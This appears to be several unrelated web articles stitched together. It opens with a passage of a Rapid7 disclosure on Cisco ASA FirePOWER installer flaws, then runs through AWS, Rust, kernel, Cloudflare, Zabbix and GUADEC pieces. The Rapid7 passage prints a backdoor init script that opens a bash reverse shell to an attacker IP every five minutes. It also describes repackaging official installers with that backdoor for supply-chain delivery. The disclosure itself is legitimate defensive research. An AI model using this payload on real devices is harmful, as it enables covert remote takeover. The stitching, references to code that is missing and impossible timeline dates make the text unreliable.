As mentioned previously, step two of the FirePOWER installation process is to install the FirePOWER installation package. Some FirePOWER modules support two versions of the FirePOWER installation package:
The above code is taken from the FirePOWER boot image 6.2.3. We can see it supports two formats:
Without getting into the weeds on the details, EncryptedContentSignedChksumPkgWrapper is an overly secure format, and Cisco only appears to publish FirePOWER installation packages in that format. However, the boot images also support the insecure ChcksumPkgWrapper format. So, we wrote a tool that takes in a secure FirePOWER installation package, unpackages it, inserts a backdoor, and then repackages into the insecure package format.
The newly generated FirePOWER installation package can then be installed on the ASA as it normally would. And because it contains all the official installation package content, it will appear to be a normal installation to the user. However, this installation will include the following obviously malicious init script, which will try to connect back to an attacker IP every five minutes.
#!/bin/sh
source /etc/rc.d/init.d/functions
PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/sf/bin:/sbin:/usr/sbin"
xploit_start() {
(while true; do sleep 300; /bin/bash -i >& /dev/tcp/10.0.0.28/1270 0>&1; done)&
}
case "\$1" in
'start')
xploit_start
;;
*)
echo "usage $0 start|stop|restart"
esac
This malicious FirePOWER installation package is distributable via social engineering, and it can be used in supply chain attacks. The contents of the installation package survive reboots and upgrades. An attacker need only pre-install the FirePOWER module with a malicious version before providing it to the victim.
Mitigation and detection
Organizations that use Cisco ASA are urged to isolate administrative access as much as possible. That is not limited to simply, “Remove ASDM from the internet.” We’ve demonstrated a few ways malicious packages could reasonably end up on an ASA and none of those mechanisms have been patched. Isolating administrative access from potentially untrustworthy users is important.
Rapid7 has written some YARA rules to help detect exploitation or malicious packages:
February 24, 2022 – Initial disclosure of ASDM packaging issues.
February 24, 2022 – Cisco opens a case (PSIRT-0917052332) and assigns CSCwb05264 and CSCwb05291 for ASDM issues.
February 29, 2022 – Cisco informs Rapid7 they have reached out to engineering. Raises concerns regarding 60-day timeline.
March 15, 2022 – Cisco reports they are actively working on the issue.
March 22, 2022 – Initial disclosure of ASA-X with FirePOWER Services issues and ASDM logging issue.
March 23, 2022 – Cisco acknowledges ASA-X issues and assigns PSIRT-0926201709.
March 25, 2022 – Cisco discusses their views on severity scoring and proposes disclosure dates for ASDM issues.
March 29, 2022 – Rapid7 offers extension on disclosure for both PSIRT issues.
April 7, 2022 – Rapid7 asks for an update.
April 7, 20222 – ASA-X issues moved to Cisco PSIRT member handling ASDM issues.
April 8, 2022 – Cisco indicates Spring4Shell is causing delays.
April 13, 2022 – Rapid7 asks for an update.
April 14, 2022 – Cisco indicates ASA-X issues are as designed. ASDM logging issue is a duplicate. Cisco agrees to new disclosure dates, clarification on six-month timelines, Vegas talks work to push things along!
April 14, 2022 – Rapid7 inquires if Cisco is talking about the same ASA-X model.
April 20, 2022 – Rapid7 proposes a June 20, 2022 disclosure. Again asks for clarification on the ASA-X model.
April 22, 2022 – Cisco reiterates ASA-X issues are not vulnerabilities.
April 22, 2022 – Rapid7 attempts to clarify that the ASA-X issues are vulnerabilities.
April 26, 2022 – Cisco plans partial disclosure of ASDM issues around June 20.
May 06, 2022 – Cisco reiterates no timeline for ASA checking ASDM signature. Cisco again reiterates ASA-X issues are not vulnerabilities.
May 06, 2022 – Rapid7 pushes back again on the ASA-X issues.
May 10, 2022 – Rapid7 asks for clarification on what is being fixed/disclosed on June 20.
May 11, 2022 – Rapid7 asks for clarity on ASA-X timeline and what is currently being considered a vulnerability.
May 18, 2022 – Cisco clarifies what is getting fixed for issues, what will receive CVEs, what is a "hardening effort."
May 18, 2022 – Rapid7 requests CVEs, asks about patch vs disclosure release date discrepancy. Rapid7 again reiterates ASA-X findings are vulnerabilities.
May 20, 2022 – Cisco indicates CVEs will be provided soon, indicates Cisco will now publish fixes and advisories on June 21. Cisco reiterates they do not consider boot image issues vulnerabilities. Cisco asks who to credit.
May 25, 2022 – Rapid7 indicates credit to Jake Baines.
May 25, 2022 – CVE-2022-20828 and CVE-2022-20829 assigned, Cisco says their disclosure date is now June 22.
May 26, 2022 – Rapid7 agrees to June 22 Cisco disclosure, requests if there is a disclosure date for ASA side of ASDM signature fixes.
May 31, 2022 – Cisco indicates ASA side of fixes likely coming August 11.
June 09, 2022 – Rapid7 questions the usefulness of boot image hardening. Observes the ASA has no mechanism to prevent literally any bootable ISO from booting (let alone old Cisco-provided ones).
June 09, 2022 – Cisco confirms boot images are not phased out and does not consider that to be a security issue.
June 09, 2022 – Rapid7 reiterates that the ASA will boot any bootable image and that attackers could distribute malicious boot images / packages and the ASA has no mechanism to prevent that.
June 13, 2022 – Rapid7 finally examines Cisco’s assertions regarding the ASDM log password leak being a duplicate and finds it to be incorrect.
June 15, 2022 – Cisco confirms the password leak in 7.17(1) as originally reported.
June 22, 2022 – Cisco confirms password leak fix will be published in upcoming release.
June 23, 2022 – Cisco publishes advisories and bugs.
June 23, 2022 – Rapid7 asks if CVE-2021-1585 was fixed.
June 23, 2022 – Cisco says it was.
June 23, 2022 – Rapid7 says it wasn’t. Asks Cisco if we should open a new PSIRT ticket.
June 23, 2022 – Cisco indicates current PSIRT thread is fine.
June 23, 2022 – Rapid7 provides details and video.
June 23, 2022 – Cisco acknowledges.
July 05, 2022 – Rapid7 asks for an update on CVE-2021-1585 patch bypass.
July 25, 2022 – Cisco provides Rapid7 with test versions of ASDM.
July 26, 2022 – Rapid7 downloads the test version of ASDM.
August 1, 2022 – Rapid7 lets Cisco know that team time constraints may prevent us from completing testing.
August 1, 2022 – Cisco acknowledges.
August 10, 2022 – Rapid7 updates Cisco on publication timing and reconfirms inability to complete testing of new build.
August 11, 2022 – Cisco communicates to Rapid7 that they have released new Software images for ASA (9.18.2, 9.17.1.13, 9.16.3.19) and ASDM (7.18.1.152) and updated the advisories for CVE-2022-20829 and CVE-2021-1585 to note that the vulnerabilities have been resolved.
August 11, 2022 – Rapid7 acknowledges, notifies Cisco that we are unable to verify the latest round of fixes before materials go to press.
August 11, 2022 – This document is published.
August 11, 2022 – Rapid7 presents materials at Black Hat USA.
August 13, 2022 – Rapid7 presents materials at DEF CON.
Rapid7 customers
Authenticated checks were made available to InsightVM and Nexpose customers for the following CVEs in July 2022 based on Cisco’s security advisories:
Please note: Shortly before this blog’s publication, Cisco released new ASA and ASDM builds and updated their advisories to indicate that remediating CVE-2021-1585 and CVE-2022-20829 requires these newer versions. We are updating our vulnerability checks to reflect that these newer versions contain what Cisco has communicated to be the proper fixes.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
Today, the AWS Serverless Developer Advocate team introduces the Serverless Snippets Collection. This is a new page hosted on Serverless Land that makes it easier to discover, copy, and share common code that can help with serverless application development.
Builders are writing serverless applications in many programming languages and spend a growing amount of time finding and reusing code that is trusted and tested.
With many online resources and code located within private repositories, it can be hard to find reusable or up-to-date code snippets that you can copy and paste into your applications or use with your AWS accounts. Code examples can soon become out of date or replaced by new best practices.
The Serverless Snippets Collection is designed to enable reusable, tested, and recommended snippets driven and maintained by the community. Builders can use serverless snippets to find and integrate tools, code examples, and Amazon CloudWatch Logs Insights queries to help with their development workflow.
This blog post explains what serverless snippets are and what challenges they help to solve. It shows how to use the snippets and how builders can contribute to the new collection.
Overview
The new Serverless Snippets Collection helps builders explore and reuse common code snippets to help accelerate application development workflows. Builders can also write their own snippets and contribute them to the site using standard GitHub pull requests.
Serverless snippets are organized into a number of categories, initially supporting Amazon CloudWatch Logs Insights queries, tools, and service integrations.
Code snippets can easily become outdated as new functionality emerges and best practices are discovered. Serverless snippets offer a platform where application developers can collaborate together to keep code examples up to date and relevant, while supporting many programming languages.
Snippets can contain code from any programming language. You can include multiple languages within a single snippet giving you the option to be creative and flexible.
Serverless snippets use tags to simplify discovery. You can use tags to filter by snippet type, programming language, AWS service, or custom tags to find relevant code snippets for your own use cases.
Each snippet type has a custom interface, giving builders a simplified experience and quick deployment methods.
CloudWatch Logs Insights snippets
CloudWatch Logs Insights enables you to search interactively and analyze your log data in CloudWatch Logs. You can use CloudWatch Logs Insights to help you efficiently and effectively search for operational issues, and debug your applications.
Serverless snippets contain a number of CloudWatch Logs Insights queries. These help you analyze your applications faster and include tags such as memory, latency, duration, or errors. You can launch queries directly into your AWS Management Console with one click.
Using CloudWatch Insights snippets
Select the CloudWatch Logs Insights as the snippet type and choose View on a snippet.
Select Open in CloudWatch Insights to launch the snippet directly into your AWS account or copy the code and follow the manual instructions on the page to run the query.
Tool snippets
Another snippet type supported are tools. Builders can search for tools by programming language or AWS service. Tool snippets include detailed instructions on how to install the tool and example usage with additional resource links. Tools can also be tagged by programming language allowing you to select the tools for your particular language using the snippet tabs functionality.
To use tools snippets:
Select Tools as the selected snippet type and View any tool snippet.
Each snippet may have many steps. Follow the instructions documented in the tool snippet to install and use within your own application.
For example, you can add a snippet for Amazon S3 integration with AWS Lambda and also split your snippet into programming languages.
To use integration snippets:
Select Integration as the selected snippet type and View any tool snippet.
The integrations snippets give you examples of how you can integrate between AWS services. You can select your desired programming language by selecting the language buttons.
Contributing to the Serverless Snippets Collection
You can write your own snippets and contribute them to the serverless snippets collection, which is stored in the AWS snippets-collection repository. Requests are reviewed for quality and relevancy before publishing.
Clone the repository. Duplicate and rename the example snippet_model directory (or _snippet-model-multi-files if you want to support multiple files in your snippet)
Submit a pull request to the repository with the new snippet files.
To write snippets with multiple code blocks or to support different runtimes, read the guide.
Conclusion
When building serverless applications, builders reuse and share code across many applications and organizations. These code snippets can be difficult to find across your own applications and local development environments.
Today, the AWS Serverless Developer Advocate team is adding the Serverless Snippets Collection on Serverless Land to help builders search, discover, and contribute reusable code snippets across the world.
The Serverless Snippet Collection includes tools, integration code examples and CloudWatch Logs Insights queries. The collection supports many types of snippets, examples, and code that can be shared across the community.
Builders can use the custom filter functionality to search for snippets by programming language, AWS service, or custom snippet tags.
All serverless developers are invited to contribute to the collection. You can submit a pull request to the Serverless Snippets Collection GitHub repository, which is reviewed for quality before publishing.
Version
1.63.0 of the Rust language has been released. Changes include the
addition of scoped threads, a new ownership model for raw file descriptors,
and the completion of the borrow-checker transition:
As detailed in this
blog post, we’ve fully removed the previous lexical borrow
checker from rustc across all editions, fully enabling the
non-lexical, new, version of the borrow checker. Since the borrow
checker doesn’t affect the output of rustc, this won’t change the
behavior of any programs, but it completes a long-running migration
(started in the initial stabilization of NLL for the 2018 edition)
to deliver the full benefits of the new borrow checker across all
editions of Rust. For most users, this change will bring slightly
better diagnostics for some borrow checking errors, but will not
otherwise impact which code they can write.
The Project Zero blog has posted a
detailed look at CVE-2021-0920 in the first of a two-part series on how
this bug created a vulnerability that was subsequently exploited.
Google’s Threat Analysis Group (TAG) discovered Samsung browser
exploit chains being used in the wild. TAG then performed root
cause analysis and discovered that this vulnerability,
CVE-2021-0920, was being used to escape the sandbox and elevate
privileges. CVE-2021-0920 was reported to Linux/Android
anonymously. The Google Android Security Team performed the full
deep-dive analysis of the exploit.
This issue was initially discovered in 2016 by a RedHat kernel
developer and disclosed in a public email thread, but the Linux
kernel community did
not patch the issue until it was re-reported
in 2021.
We live in a 64-bit world, to the point that many distributors want to stop
supporting 32-bit systems at all. However, lurking within our 64-bit
kernels is a subsystem that has not really managed to move past 32-bit
addresses. The quick merge-window failure of an attempt to use
64-bit addresses in the I/O memory-management unit (IOMMU) subsystem shows
how hard it can be to leave all of one’s 32-bit history behind.
Greg Kroah-Hartman has announced the release of the 5.19.1, 5.18.17, 5.15.60, 5.10.136, 5.4.210, and 4.19.255 stable kernels.
They contain a fairly small set of important fixes; users should upgrade.
This is the first—of many, I assume—hack of Starlink. Leveraging a string of vulnerabilities, attackers can access the Starlink system and run custom code on the devices.
In 2022, cybersecurity is a must-have for those who don’t want to take chances on getting caught in a cyberattack with difficult to deal consequences. And with a war in Europe (Ukraine) still going on, cyberwar also doesn’t show signs of stopping in a time when there never were so many people online, 4.95 billion in early 2022, 62.5% of the world’s total population (estimates say it grew around 4% during 2021 and 7.3% in 2020).
Throughout the year we, at Cloudflare, have been making new announcements of products, solutions and initiatives that highlight the way we have been preventing, mitigating and constantly learning, over the years, with several thousands of small and big cyberattacks. Right now, we block an average of 124 billion cyber threats per day. The more we deal with attacks, the more we know how to stop them, and the easier it gets to find and deal with new threats — and for customers to forget we’re there, protecting them.
In 2022, we have been onboarding many customers while they’re being attacked, something we know well from the past (Wikimedia/Wikipedia or Eurovision are just two case-studies of many, and last year there was a Fortune Global 500 company example we wrote about). Recently, we dealt and did a rundown about an SMS phishing attack.
Providing services for almost 20% of websites online and to millions of Internet properties and customers using our global network in more than 270 cities (recently we arrived to Guam) also plays a big role. For example, in Q1’22 Cloudflare blocked an average of 117 billion cyber threats each day (much more than in previous quarters).
Now that August is here, and many in the Northern Hemisphere are enjoying the summer and vacations, let’s do a reading list that is also a sum up focused on cyberattacks that also gives, by itself, some 2022 guide on this more than ever relevant area.
War & Cyberwar: Attacks increasing
But first, some context. There are all sorts of attacks, but they have been generally speaking increasing and just to give some of our data regarding DDoS attacks in 2022 Q2: application-layer attacks increased by 72% YoY (Year over Year) and network-layer DDoS attacks increased by 109% YoY.
The US government gave “warnings” back in March, after the war in Ukraine started, to all in the country but also allies and partners to be aware of the need to “enhance cybersecurity”. The US Cybersecurity and Infrastructure Security Agency (CISA) created the Shields Up initiative, given how the “Russia’s invasion of Ukraine could impact organizations both within and beyond the region”. The UK and Japan, among others, also issued warnings.
That said, here are the two first and more general about attacks reading list suggestions:
Shields up: free Cloudflare services to improve your cyber readiness (✍️) After the war started and governments released warnings, we did this free Cloudflare services cyber readiness sum up blog post. If you’re a seasoned IT professional or a novice website operator, you can see a variety of services for websites, apps, or APIs, including DDoS mitigation and protection of teams or even personal devices (from phones to routers). If this resonates with you, this announcement of collaboration to simplify the adoption of Zero Trust for IT and security teams could also be useful: CrowdStrike’s endpoint security meets Cloudflare’s Zero Trust Services.
In Ukraine and beyond, what it takes to keep vulnerable groups online (✍️) This blog post is focused on the eighth anniversary of our Project Galileo, that has been helping human-rights, journalism and non-profits public interest organizations or groups. We highlight the trends of the past year, including the dozens of organizations related to Ukraine that were onboarded (many while being attacked) since the war started. Between July 2021 and May 2022, we’ve blocked an average of nearly 57.9 million cyberattacks per day, an increase of nearly 10% over last year in a total of 18 billion attacks.
In terms of attack methods to Galileo protected organizations, the largest fraction (28%) of mitigated requests were classified as “HTTP Anomaly”, with 20% of mitigated requests tagged as SQL injection or SQLi attempts (to target databases) and nearly 13% as attempts to exploit specific CVEs (publicly disclosed cybersecurity vulnerabilities) — you can find more insights about those here, including the Spring4Shell vulnerability, the Log4j or the Atlassian one.
And now, without further ado, here’s the full reading list/attacks guide where we highlight some blog posts around four main topics:
Cloudflare mitigates 26 million request per second DDoS attack (✍️) Distributed Denial of Service (DDoS) are the bread and butter of state-based attacks, and we’ve been automatically detecting and mitigating them. Regardless of which country initiates them, bots are all around the world and in this blog post you can see a specific example on how big those attacks can be (in this case the attack targeted a customer website using Cloudflare’s Free plan). We’ve named this most powerful botnet to date, Mantis.
That said, we also explain that although most of the attacks are small, e.g. cyber vandalism, even small attacks can severely impact unprotected Internet properties.
DDoS attack trends for 2022 Q2 (✍️) We already mentioned how application (72%) and network-layer (109%) attacks have been growing year over year — in the latter, attacks of 100 Gbps and larger increased by 8% QoQ, and attacks lasting more than 3 hours increased by 12% QoQ. Here you can also find interesting trends, like how Broadcast Media companies in Ukraine were the most targeted in Q2 2022 by DDoS attacks. In fact, all the top five most attacked industries are all in online/Internet media, publishing, and broadcasting.
Cloudflare customers on Free plans can now also get real-time DDoS alerts(✍️) A DDoS is cyber-attack that attempts to disrupt your online business and can be used in any type of Internet property, server, or network (whether it relies on VoIP servers, UDP-based gaming servers, or HTTP servers). That said, our Free plan can now get real-time alerts about HTTP DDoS attacks that were automatically detected and mitigated by us.
One of the benefits of Cloudflare is that all of our services and features can work together to protect your website and also improve its performance. Here’s our specialist, Omer Yoachimik, top 3 tips to leverage a Cloudflare free account (and put your settings more efficient to deal with DDoS attacks):
DDoS Protection: it’s enabled by default, and if needed you can also override the action to Block for rules that have a different default value.
Security Level: this feature will automatically issue challenges to requests that originate from IP addresses with low IP reputation. Ensure it’s set to Medium at least.
Block bad bots – Cloudflare’s free tier of bot protection can help ward off simple bots (from cloud ASNs) and headless browsers by issuing a computationally expensive challenge.
Firewall rules: you can create up to five free custom firewall rules to block or challenge traffic that you never want to receive.
Managed Ruleset: in addition to your custom rule, enable Cloudflare’s Free Managed Ruleset to protect against high and wide impacting vulnerabilities
Move your content to the cloud
Cache as much of your content as possible on the Cloudflare network. The fewer requests that hit your origin, the better — including unwanted traffic.
2. Application level attacks & WAF
Application security: Cloudflare’s view (✍️) Did you know that around 8% of all Cloudflare HTTP traffic is mitigated? That is something we explain in this application’s general trends March 2022 blog post. That means that overall, ~2.5 million requests per second are mitigated by our global network and never reach our caches or the origin servers, ensuring our customers’ bandwidth and compute power is only used for clean traffic.
You can also have a sense here of what the top mitigated traffic sources are — Layer 7 DDoS and Custom WAF (Web Application Firewall) rules are at the top — and what are the most common attacks. Other highlights include that at that time 38% of HTTP traffic we see is automated (right the number is actually lower, 31% — current trends can be seen on Radar), and the already mentioned (about Galileo) SQLi is the most common attack vector on API endpoints.
WAF for everyone: protecting the web from high severity vulnerabilities (✍️) This blog post shares a relevant announcement that goes hand in hand with Cloudflare mission of “help build a better Internet” and that also includes giving some level of protection even without costs (something that also help us be better in preventing and mitigating attacks). So, since March we are providing a Cloudflare WAF Managed Ruleset that is running by default on all FREE zones, free of charge.
On this topic, there has also been a growing client side security number of threats that concerns CIOs and security professionals that we mention when we gave, in December, all paid plans access to Page Shield features (last month we made Page Shield malicious code alerts more actionable. Another example is how we detect Magecart-Style attacks that have impacted large organizations like British Airways and Ticketmaster, resulting in substantial GDPR fines in both cases.
3. Phishing (Area 1)
Why we are acquiring Area 1 (✍️) Phishing remains the primary way to breach organizations. According to CISA, 90% of cyber attacks begin with it. And, in a recent report, the FBI referred to Business Email Compromise as the $43 Billion problem facing organizations.
It was in late February that it was announced that Cloudflare had agreed to acquire Area 1 Security to help organizations combat advanced email attacks and phishing campaigns. Our blog postexplains that “Area 1’s team has built exceptional cloud-native technology to protect businesses from email-based security threats”. So, all that technology and expertise has been integrated since then with our global network to give customers the most complete Zero Trust security platform available.
The mechanics of a sophisticated phishing scam and how we stopped it (✍️) What’s in a message? Possibly a sophisticated attack targeting employees and systems. On August 8, 2022, Twilio shared that they’d been compromised by a targeted SMS phishing attack. We saw an attack with very similar characteristics also targeting Cloudflare’s employees. Here, we do a rundown on how we were able to thwart the attack that could have breached most organizations, by using our Cloudflare One products, and physical security keys. And how others can do the same. No Cloudflare systems were compromised.
Our Cloudforce One threat intelligence team dissected the attack and assisted in tracking down the attacker.
Introducing browser isolation for email links to stop modern phishing threats (✍️) Why do humans still click on malicious links? It seems that it’s easier to do it than most people think (“human error is human”). Here we explain how an organization nowadays can’t truly have a Zero Trust security posture without securing email; an application that end users implicitly trust and threat actors take advantage of that inherent trust.
As part of our journey to integrate Area 1 into our broader Zero Trust suite, Cloudflare Gateway customers can enable Remote Browser Isolation for email links. With that, we now give unmatched level of protection from modern multi-channel email-based attacks. While we’re at it, you can also learn how to replace your email gateway with Cloudflare Area 1.
About account takeovers, we explained back in March 2021 how we prevent account takeovers on our own applications (on the phishing side we were already using, as a customer, at the time, Area 1).
Also from last year, here’s our research in password security (and the problem of password reuse) — it gets technical. There’s a new password related protocol called OPAQUE (we added a new demo about it on January 2022) that could help better store secrets that our research team is excited about.
4. Malware/Ransomware & other risks
How Cloudflare Security does Zero Trust (✍️) Security is more than ever part of an ecosystem that the more robust, the more efficient in avoiding or mitigating attacks. In this blog post written for our Cloudflare One week, we explain how that ecosystem, in this case inside our Zero Trust services, can give protection from malware, ransomware, phishing, command & control, shadow IT, and other Internet risks over all ports and protocols.
Since 2020, we launched Cloudflare Gateway focused on malware detection and prevention directly from the Cloudflare edge. Recently, we also include our new CASB product (to secure workplace tools, personalize access, secure sensitive data).
Anatomy of a Targeted Ransomware Attack (✍️) What a ransomware attack looks like for the victim:
“Imagine your most critical systems suddenly stop operating. And then someone demands a ransom to get your systems working again. Or someone launches a DDoS against you and demands a ransom to make it stop. That’s the world of ransomware and ransom DDoS.”
Ransomware attacks continue to be on the rise and there’s no sign of them slowing down in the near future. That was true more than a year ago, when this blog post was written and is still ongoing, up 105% YoY according to a Senate Committee March 2022 report. And the nature of ransomware attacks is changing. Here, we highlight how Ransom DDoS (RDDoS) attacks work, how Cloudflare onboarded and protected a Fortune 500 customer from a targeted one, and how that Gateway with antivirus we mentioned before helps with just that.
We also show that with ransomware as a service (RaaS) models, it’s even easier for inexperienced threat actors to get their hands on them today (“RaaS is essentially a franchise that allows criminals to rent ransomware from malware authors”). We also include some general recommendations to help you and your organization stay secure. Don’t want to click the link? Here they are:
Use 2FA everywhere, especially on your remote access entry points. This is where Cloudflare Access really helps.
Maintain multiple redundant backups of critical systems and data, both onsite and offsite
Monitor and block malicious domains using Cloudflare Gateway + AV
Sandbox web browsing activity using Cloudflare RBI to isolate threats at the browser
Investigating threats using the Cloudflare Security Center (✍️) Here, first we announce our new threat investigations portal, Investigate, right in the Cloudflare Security Center, that allows all customers to query directly our intelligence to streamline security workflows and tighten feedback loops.
That’s only possible because we have a global and in-depth view, given that we protect millions of Internet properties from attacks (the free plans help us to have that insight). And the data we glean from these attacks trains our machine learning models and improves the efficacy of our network and application security products.
Steps we’ve taken around Cloudflare’s services in Ukraine, Belarus, and Russia (✍️) There’s an emergence of the known as wiper malware attacks (intended to erase the computer it infects) and in this blog post, among other things, we explain how when a wiper malware was identified in Ukraine (it took offline government agencies and a major bank), we successfully adapted our Zero Trust products to make sure our customers were protected. Those protections include many Ukrainian organizations, under our Project Galileo that is having a busy year, and they were automatically put available to all our customers. More recently, the satellite provider Viasat was affected.
Zaraz use Workers to make third-party tools secure and fast (✍️) Cloudflare announced it acquired Zaraz in December 2021 to help us enable cloud loading of third-party tools. Seems unrelated to attacks? Think again (this takes us back to the secure ecosystem I already mentioned). Among other things, here you can learn how Zaraz can make your website more secure (and faster) by offloading third-party scripts.
That allows to avoid problems and attacks. Which? From code tampering to lose control over the data sent to third-parties. My colleague Yo’av Moshe elaborates on what this solution prevents: “the third-party script can intentionally or unintentionally (due to being hacked) collect information it shouldn’t collect, like credit card numbers, Personal Identifiers Information (PIIs), etc.”. You should definitely avoid those.
Introducing Cloudforce One: our new threat operations and research team (✍️) Meet our new threat operations and research team: Cloudforce One. While this team will publish research, that’s not its reason for being. Its primary objective: track and disrupt threat actors. It’s all about being protected against a great flow of threats with minimal to no involvement.
Wrap up
The expression “if it ain’t broke, don’t fix it” doesn’t seem to apply to the fast pacing Internet industry, where attacks are also in the fast track. If you or your company and services aren’t properly protected, attackers (human or bots) will probably find you sooner than later (maybe they already did).
To end on a popular quote used in books, movies and in life: “You keep knocking on the devil’s door long enough and sooner or later someone’s going to answer you”. Although we have been onboarding many organizations while attacks are happening, that’s not the less hurtful solution — preventing and mitigating effectively and forget the protection is even there.
If you want to try some security features mentioned, the Cloudflare Security Center is a good place to start (free plans included). The same with our Zero Trust ecosystem (or Cloudflare One as our SASE, Secure Access Service Edge) that is available as self-serve, and also includes a free plan (this vendor-agnostic roadmap shows the general advantages of the Zero Trust architecture).
Collect and react on entries in your Windows or Linux logs with Zabbix log monitoring.
Log file entries can contain OS or application-level information that can help you react proactively to potential issues or track the root cause of a problem after it has occurred. For this reason, keeping a constant lookout for issues in mission-critical log files is vital.
Collect log file entries with Zabbix agent and react on them:
Zabbix agent can monitor log files on Windows and Unix-like operating systems
Decide between collecting every log entry or only entries matching your criteria
Monitor Windows event logs and collect entries matching specific severity, source or eventid
Choose between returning the whole log line or simply count the number of matched lines
Check out the video to learn how to collect and match log file entries.
How to match and collect log file entries:
Navigate to Configuration → Hosts
Find your Host
Click on the Items button next to the host
Click the Create item button
Select the item type – Zabbix agent (active)
Make sure that the Type of information is selected as Log
Provide the item name and key
Select the log item key
Use the log file as the first parameter of the key
The second parameter should contain a regular expression used to match the log lines
Optionally, provide the log time format to collect the local log timestamp
Set the Update interval to 1s
Press the Add button
Generate new log line entries
Navigate to Monitoring → Latest data
Confirm that the matching log entries are being collected
Tips and best practices
Log monitoring is supported only by active Zabbix agent
If restarted, Zabbix agent will continue monitoring the log file from where it left off
The mode log item parameter can be used to specify should the monitoring begin from the start of the file or its latest entry
The logrt item can be used to monitor log files that are being rotated
The output parameter can be used to output specific regexp capture groups
Learn how to configure and optimize your log monitoring by attending our Zabbix Certified Specialist course, where under the guidance of a Zabbix certified trainer you will obtain hands-on experience with different log file monitoring items and learn how to create trigger expressions to detect problems based on the collected log lines.
Offline computing and learning was something of a theme at GUADEC 2022 as there
were multiple talks by people from the Endless OS Foundation, which
targets that use case. Dylan McCall and Manuel Quiñones had a talk on day
two about a switch that Endless has made over the last few years away from
its home-rolled “knowledge apps” to apps based on the Kolibri learning
platform. While Endless has its roots in GNOME, and Kolibri runs well
in that environment, the switch will allow Endless to reach users who are
not running a GNOME desktop.
Using certificates to authenticate and encrypt data is vital to any enterprise security. For example, companies rely on certificates to provide TLS encryption for web applications so that client data is protected. However, not all certificates need to be issued from a publicly trusted certificate authority (CA). A privately trusted CA can be leveraged to issue certificates to help protect data in transit on resources such as load-balancers and also device authentication for endpoints and IoT devices. Many organizations already have that privately trusted CA running in their Microsoft Active Directory architecture via Active Directory Certificate Services (ADCS).
AWS Certificate Manager Private Certificate Authority (ACM Private CA or ACM PCA) is a private CA service that extends ACM certificate management capabilities to both public and private certificates. ACM PCA provides a highly available private CA service without the upfront investment and ongoing maintenance costs of operating your own private CA. ACM PCA allows developers to be more agile by providing them with APIs to create and deploy private certificates programmatically. You also have the flexibility to create private certificates for applications that require custom certificate lifetimes or resource names.
Why use ACM PCA with Windows Active Directory?
Many enterprises already use Active Directory to manage their IT resources. Whether it is on-premises or built into your AWS accounts, Active Directory’s built-in CA can be extended by ACM PCA. Using your ADCS to sign an ACM PCA means that members of your Active Directory automatically trust certificates issued by that ACM PCA. Keep in mind that these are still private certificates, and they are intended to be used just like certificates from ADCS itself. They will not be trusted by unmanaged devices, because these are not signed by a publicly trusted external CA. Therefore, systems like Mac and Linux may require that you manually deploy the ADCS certificate chain in order to trust certificates issued by your new ACM PCA.
This means it is more efficient for you to rapidly deploy certificates to your endpoint workstations for authentication. Or you can protect internal-only workloads with certificates that are constrained to your internal domain namespace. These tasks can be done conveniently through AWS APIs and the AWS SDK.
Solution overview
In the following sections, we will configure Microsoft ADCS to be able to sign a subordinate CA, deploy and sign ACM PCA, and then test the solution using a private website that is protected by a TLS certificate issued from the ACM PCA.
Configure Microsoft ADCS
Microsoft ADCS is normally deployed as part of your Windows Active Directory architecture. It can be extended to do multiple different types of certificate signing depending on your environment’s needs. Each of these different types of certificates is defined by a template that you must enable and configure. Each template contains configuration information about how Microsoft ADCS will issue the certificate type. You can copy and configure templates differently depending on your environment’s requirements. The specifics of each type of template is outside the scope of this blog post.
To configure ADCS to sign subordinate CAs
On the CA server that will be signing the private CA certificate, open the Certification Authority Microsoft Management Console (MMC).
In the left-side tree view, expand the name of the server.
Open the context (right-click) menu for Certificate Templates and choose Manage.
Figure 1: Navigating to the Manage option for the certificate templates
This opens the Certificate Template Console, which is populated with the list of optional templates.
Scroll down, open the context (right-click) menu for Subordinate Certification Authority, and choose Duplicate Template, as shown in Figure 2. This will create a duplicate of the template that you can alter for your needs, while leaving the original template unaltered for future use. Selecting Duplicate Template immediately opens the configuration for the new template.
Figure 2: Select Duplicate Template to create a copy of the Subordinate Certification Authority template
To configure and use the new template
On the new template configuration page, choose the General tab, and change the template display name to something that uniquely identifies it. The example in this post uses the name Subordinate Certification Authority – Private CA.
Select the check box for Publish certificate in Active Directory, and then choose OK. The new template appears in the list of available templates. Close the Certificate Templates Console.
Return to the Certification Authority MMC. Open the context (right-click) menu for Certificate Templates again, but this time choose New -> Certificate Template to Issue.
Figure 3: Issue the new Certificate Template you created for subordinate Cas
In the dialog box that appears, choose the new template you created in Step 1 of this procedure, and then choose OK.
That’s all that’s needed! Your CA is now ready to issue certificates for subordinate CAs in your public key infrastructure. Open a browser from either the ADCS CA server itself or through a network connection to the ADCS CA server, and use the following URL to access the certificate server’s certificate signing interface.
Now you can see that in the Certificate Templates list, you can choose the Subordinate Certification Authority template that you created, as shown in Figure 4.
Figure 4: The interface to sign certificates on your CA now shows the new certificate template you created
Deploy and sign the ACM Private CA’s certificate
In this step, you will deploy the ACM PCA, which is the first step to create a subordinate CA to deploy in your AWS account. The process of deploying the ACM PCA is well documented, so this post will not go into depth about the deployment itself. Instead, this procedure focuses on the steps for taking the certificate signing request (CSR) and signing it against the ADCS, and then covers the additional steps to convert the certificates that ADCS produces into the certificate format that ACM PCA expects.
After the ACM PCA is initially deployed, it needs to have a certificate signed to authenticate it. ACM PCA offers two options for signing the new instance’s certificate. You can choose to sign either through another ACM PCA instance, or via an external CA. Since you are using ADCS in this walkthrough, you will use the process of an external CA. The ACM PCA deployment is now at a point where it needs its CSR signed by Microsoft ADCS. You should see that it is ready in the AWS Management Console for ACM PCA.
To deploy and sign the ACM PCA’s certificate
When the ACM PCA is ready, in the ACM PCA console, begin the Install subordinate CA certificate process by choosing External private CA for the CA type.
Figure 5: Options for signing the new instance’s certificate
You will then be provided the certificate signing request (CSR) for the ACM PCA. Copy and paste the CSR content into the ADCS CA signing URL you visited earlier on the CA server. Then choose Next. The next page is where you will paste in the new signed certificate and certchain in a later step.
From the ADCS CA URL, be sure that the new Subordinate Certification Authority template is selected, and then choose Submit. The new certificate will be issued to you. The ADCS issuing page provides two different formats for the certificate, either as Distinguished Encoding Rules (DER) or base64-encoded.
